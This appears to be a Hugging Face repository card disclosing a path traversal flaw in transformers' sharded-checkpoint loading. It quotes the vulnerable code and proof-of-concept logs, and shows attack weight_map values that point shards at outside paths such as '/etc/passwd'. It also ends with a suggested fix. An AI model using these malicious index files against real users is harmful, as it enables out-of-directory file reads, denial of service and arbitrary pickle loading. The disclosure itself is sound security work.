You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

CWE-22 Path Traversal in transformers Sharded-Checkpoint Loading

Attacker-controlled weight_map in model.safetensors.index.json makes from_pretrained read weight shards from OUTSIDE the model directory (arbitrary absolute / relative path open) with no trust_remote_code.


Target

Package transformers (Hugging Face)
Version tested 5.14.1 (PyPI)
Supporting deps torch 2.13.0+cu130, safetensors 0.8.0
Entry point AutoModel.from_pretrained(local_dir) (documented, unprivileged, NO trust_remote_code)
Vulnerable file transformers/utils/hub.py -> get_checkpoint_shard_files()
Weakness CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / Path Traversal)

Root cause

When from_pretrained loads a sharded checkpoint from a local directory it calls get_checkpoint_shard_files(). That function reads the shard filenames verbatim from the attacker-supplied index JSON and, for a local directory, joins them onto the model path with no sanitization whatsoever β€” no os.path.basename(), no realpath/commonpath containment check, no rejection of .. segments or absolute paths.

Exact vulnerable code, transformers/utils/hub.py (v5.14.1):

# line 882 β€” shard filenames taken VERBATIM from attacker-controlled index JSON
shard_filenames = sorted(set(index["weight_map"].values()))
sharded_metadata = index["metadata"]
sharded_metadata["all_checkpoint_keys"] = list(index["weight_map"].keys())
sharded_metadata["weight_map"] = index["weight_map"].copy()

# First, let's deal with local folder.
if os.path.isdir(pretrained_model_name_or_path):                              # line 888
    shard_filenames = [os.path.join(pretrained_model_name_or_path, subfolder, f)
                       for f in shard_filenames]                              # line 889
    return shard_filenames, sharded_metadata                                 # line 890

os.path.join treats an absolute value (e.g. /etc/passwd) as replacing the base, and treats a ../.. relative value as escaping the model directory. The resolved paths are returned as checkpoint_files (modeling_utils.py _get_resolved_checkpoint_files, reached from from_pretrained) and passed directly to the weight-loading sink (safetensors.safe_open / load_state_dict), which opens and reads whatever path the attacker named.

For a *.bin sharded index the very same primitive selects a pickle file from an arbitrary path for torch.load.

Impact

  • Model-directory trust-boundary break β€” a distributed "model" (config + index only) reads its actual weights from anywhere on the victim's filesystem.
  • Denial of service β€” point a shard at a blocking FIFO, /dev/zero, or a huge/sparse file to hang the loader or exhaust memory during from_pretrained.
  • Arbitrary out-of-directory file open during load β€” the reachable primitive is "open + read attacker-named absolute/relative path"; combined with the *.bin path it selects an arbitrary pickle for torch.load.

No trust_remote_code, no network, no privileged API β€” just the documented AutoModel.from_pretrained() on an attacker-supplied local directory (the exact shape of a downloaded / shared HF model).


Proof of Concept

Both PoCs live in this repo and were run against the real PyPI packages above.

  • poc_end2end.py β€” full AutoModel.from_pretrained() on an attacker directory whose ONLY weight copy lives OUTSIDE the model dir; proves the loaded model's tensor came from the outside file via a sentinel value, with a negative control.
  • poc.py β€” component-level: resolves weight_map values through the real get_checkpoint_shard_files() and shows the returned paths are OUTSIDE the model dir and are actually opened/read by safetensors.safe_open (the sink), with a negative control.

Captured evidence β€” poc_end2end.py (verbatim)

[*] model dir contents (attacker-supplied): ['config.json', 'model.safetensors.index.json']
[*] weight shard exists ONLY outside model dir: /tmp/hf_e2e_mk_nu7cs/OUTSIDE_the_model_dir/real_weights.safetensors
[*] index weight_map sample: ../OUTSIDE_the_model_dir/real_weights.safetensors
[*] loading via AutoModel.from_pretrained(model_dir)  (no trust_remote_code) ...
Loading weights: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 23/23 [00:00<00:00, 4913.61it/s]
[+] LOAD SUCCEEDED. sentinel value in loaded model = 12345.0
[+] traversal confirmed: the ONLY source of this weight was /tmp/hf_e2e_mk_nu7cs/OUTSIDE_the_model_dir/real_weights.safetensors

--- NEGATIVE CONTROL: same index but a normal in-dir filename ---
Loading weights: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 23/23 [00:00<00:00, 4942.06it/s]
[ctrl] normal in-dir filename loads fine and does NOT depend on any outside file. OK

RESULT: CWE-22 path traversal in transformers sharded-checkpoint loading CONFIRMED.

Captured evidence β€” poc.py (component + absolute-path, verbatim)

[attack] index.json weight_map: {"leaked_tensor": "../outside_secret/secret.safetensors", "leaked_tensor_abs": "/tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors"}

[resolved shard paths returned to the weight loader]:
   raw=/tmp/hf_traversal_ignqhumz/attacker_model/../outside_secret/secret.safetensors
     -> realpath=/tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors
     -> INSIDE model dir? False
   raw=/tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors
     -> realpath=/tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors
     -> INSIDE model dir? False

[sink] safetensors.safe_open on the traversed path (what modeling_utils does):
   opened /tmp/hf_traversal_ignqhumz/attacker_model/../outside_secret/secret.safetensors
     read tensor leaked_tensor = [0.0, 1.0, 2.0, 3.0]  <-- content from OUTSIDE model dir
   opened /tmp/hf_traversal_ignqhumz/outside_secret/secret.safetensors
     read tensor leaked_tensor = [0.0, 1.0, 2.0, 3.0]  <-- content from OUTSIDE model dir

[negative control] normal filename 'model-00001.safetensors':
   raw=/tmp/hf_traversal_ignqhumz/attacker_model/model-00001.safetensors -> INSIDE model dir? True

Captured evidence β€” absolute-path /etc/passwd primitive (verbatim)

resolved shard path: ['/etc/passwd']
safe_open on /etc/passwd -> SafetensorError: Error while deserializing header: header too large

The file was opened and its bytes read; it merely fails later at safetensors header parsing because /etc/passwd is not a valid safetensors container. This demonstrates the arbitrary-absolute-path open primitive.


Suggested fix

In get_checkpoint_shard_files(), before joining, reject any shard filename that is absolute or contains .., and/or reduce each to os.path.basename(f), and/or assert os.path.commonpath([realpath(model_dir), realpath(joined)]) == realpath(model_dir).


Dedup / prior-art note

  • This is distinct from GGUF-parsing DoS issues in transformers (a separate weakness class in the GGUF loader, not the safetensors/bin sharded index path).
  • The primitive here is the local-directory branch (os.path.isdir(...), line 888-890) of get_checkpoint_shard_files, driven by index["weight_map"] values, with no path sanitization. As of v5.14.1 this branch performs a raw os.path.join with no ../absolute-path rejection and no containment check.
  • No trust_remote_code is involved; this is not the known "remote code" model loading class.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support